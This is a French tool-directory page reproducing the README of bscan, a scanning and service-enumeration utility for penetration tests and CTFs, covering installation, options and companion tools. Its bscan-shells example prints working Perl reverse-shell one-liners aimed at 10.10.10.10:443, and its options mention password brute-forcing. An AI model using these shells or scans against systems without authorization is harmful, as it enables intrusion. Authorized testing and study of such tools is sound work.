Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
bscan — un outil asynchrone d'énumération de cibles | Kitploit
Outils/GitHubGitHub/welchbj/bscan
ReconnaissanceCartographie RéseauGénération de PayloadsScan de PortsCollecte d'InformationsCTFTests d'Intrusion
GitHubwelchbj/bscan

bscan

un outil asynchrone d'énumération de cibles

Voir le dépôt
25034il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

bscan

:mag: un outil d'énumération de cibles asynchrone :mag_right:

travis status pypi built for kali linux python version


Synopsis

bscan est un utilitaire en ligne de commande pour effectuer la collecte active d'informations et l'énumération de services. À la base, bscan lance de manière asynchrone des processus d'outils de scan bien connus, en réutilisant les résultats des scans pour produire une sortie console surlignée et une structure de répertoires bien définie.

License

bscan est destiné uniquement à des fins éducatives et à des événements tels que les CTF ; il ne doit jamais être exécuté sur des machines et/ou réseaux sans autorisation préalable explicite. Ce code est publié sous la licence MIT.

Installation

bscan a été écrit pour être exécuté sur Kali Linux, mais rien ne l'empêche de fonctionner sur tout OS disposant des outils appropriés installés. Il existe plusieurs types de versions packagées et différentes façons de les installer.

Le moyen le plus simple de démarrer est de télécharger la version exécutable en un seul fichier adaptée à votre système d'exploitation (aucune installation Python requise) :

root@kitploit:~
# sur Linux (par exemple Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux

# sur Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"

# pour télécharger une version spécifique, utiliser le modèle suivant
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4

Vous pouvez également télécharger la dernière version packagée depuis PyPI (notez que cela nécessite une installation Python 3.6+ existante) :

root@kitploit:~
pip install bscan

De même, vous pouvez obtenir la version de pointe depuis le contrôle de version :

root@kitploit:~
pip install https://github.com/welchbj/bscan/archive/master.tar.gz

Utilisation de base

bscan offre une grande variété d'options de configuration pour adapter les scans à vos besoins. Voici un exemple rapide :

root@kitploit:~
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org

Que se passe-t-il ici ?

  • --max-concurrency 3 signifie qu'au maximum 3 sous-processus de scan simultanés seront lancés à la fois
  • --patterns [Mm]icrosoft définit un motif regex personnalisé pour surligner les correspondances dans la sortie du scan
  • --status-interval 10 indique à bscan d'afficher des mises à jour de statut toutes les 10 secondes
  • --verbose-status signifie que chaque mise à jour de statut affichera les détails de tous les sous-processus de scan en cours
  • scanme.nmap.org est l'hôte que nous souhaitons énumérer

bscan s'appuie également sur des fichiers de configuration supplémentaires. Les fichiers par défaut se trouvent dans le répertoire bscan/configuation et servent aux fins suivantes :

  • patterns.txt spécifie les motifs regex à surligner dans la sortie console lorsqu'ils correspondent à la sortie du scan
  • required-programs.txt spécifie les programmes installés que bscan prévoit d'utiliser
  • port-scans.toml définit les scans de découverte de ports à exécuter sur la ou les cibles, ainsi que les expressions régulières utilisées pour analyser les numéros de port et les noms de services à partir de la sortie du scan
  • service-scans.toml définit les scans à exécuter sur la ou les cibles pour chaque service

Options détaillées

Voici ce que vous devriez voir en exécutant bscan --help :

root@kitploit:~
usage: bscan [OPTIONS] targets

 _
| |__  ___  ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|

an asynchronous service enumeration tool

positional arguments:
  targets               the targets and/or networks on which to perform enumeration

optional arguments:
  -h, --help            show this help message and exit
  --brute-pass-list F   filename of password list to use for brute-forcing
  --brute-user-list F   filename of user list to use for brute-forcing
  --cmd-print-width I   the maximum integer number of characters allowed when printing
                        the command used to spawn a running subprocess (defaults to 80)
  --config-dir D        the base directory from which to load the configuration files;
                        required configuration files missing from this directory will
                        instead be loaded from the default files shipped with this
                        program
  --hard                force overwrite of existing directories
  --max-concurrency I   maximum integer number of subprocesses permitted to be running
                        concurrently (defaults to 20)
  --no-program-check    disable checking the presence of required system programs
  --no-file-check       disable checking the presence of files such as configured
                        wordlists
  --no-service-scans    disable running scans on discovered services
  --output-dir D        the base directory in which to write output files
  --patterns [ [ ...]]  regex patterns to highlight in output text
  --ping-sweep          enable ping sweep filtering of hosts from a network range
                        before running more intensive scans
  --quick-only          whether to only run the quick scan (and not include the
                        thorough scan over all ports)
  --qs-method S         the method for performing the initial TCP port scan; must
                        correspond to a configured port scan
  --status-interval I   integer number of seconds to pause in between printing status
                        updates; a non-positive value disables updates (defaults to 30)
  --ts-method S         the method for performing the thorough TCP port scan; must
                        correspond to a configured port scan
  --udp                 whether to run UDP scans
  --udp-method S        the method for performing the UDP port scan; must correspond
                        to a configured port scan
  --verbose-status      whether to print verbose runtime status updates, based on
                        frequency specified by `--status-interval` flag
  --version             program version
  --web-word-list F     the wordlist to use for scans

Outils compagnons

Le programme principal bscan est livré avec deux utilitaires (bscan-wordlists et bscan-shells) pour vous faciliter la vie lorsque vous cherchez des wordlists ou essayez d'ouvrir des shells inversés.

bscan-wordlists est un programme conçu pour trouver des fichiers wordlist sur Kali Linux. Il recherche dans quelques répertoires par défaut et permet la correspondance de noms de fichiers avec des globs. Voici un exemple simple :

root@kitploit:~
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt

Essayez bscan-wordlists --help pour explorer d'autres options.

bscan-shells est un programme qui génère une variété de one-liners de shell inversé avec les champs target et port renseignés pour vous. Voici un exemple simple pour lister tous les shells basés sur Perl, configurés pour se connecter à 10.10.10.10 sur le port 443 :

root@kitploit:~
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Notez que bscan-shells récupère ces commandes depuis le fichier de configuration reverse-shells.toml. Essayez bscan-shells --help pour explorer d'autres options.

Développement

Commencez par configurer un nouvel environnement de développement et installer les dépendances (en utilisant virtualenvwrapper / virtualenvwrapper-win) :

root@kitploit:~
# configurer l'environnement
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev

# obtenir les dépendances
pip install -r dev-requirements.txt

Lintez et vérifiez les types du projet (ces vérifications sont également exécutées sur Travis) :

root@kitploit:~
flake8 . && mypy bscan

Lorsqu'il est temps de packager une nouvelle version :

root@kitploit:~
# construire l'exécutable en un seul fichier
pyinstaller bscan.spec

# construire les distributions source et wheel
python setup.py bdist_wheel sdist

# exécuter les vérifications post-build
twine check dist/*

# téléverser sur PyPI
twine upload dist/*
Télécharger l’outil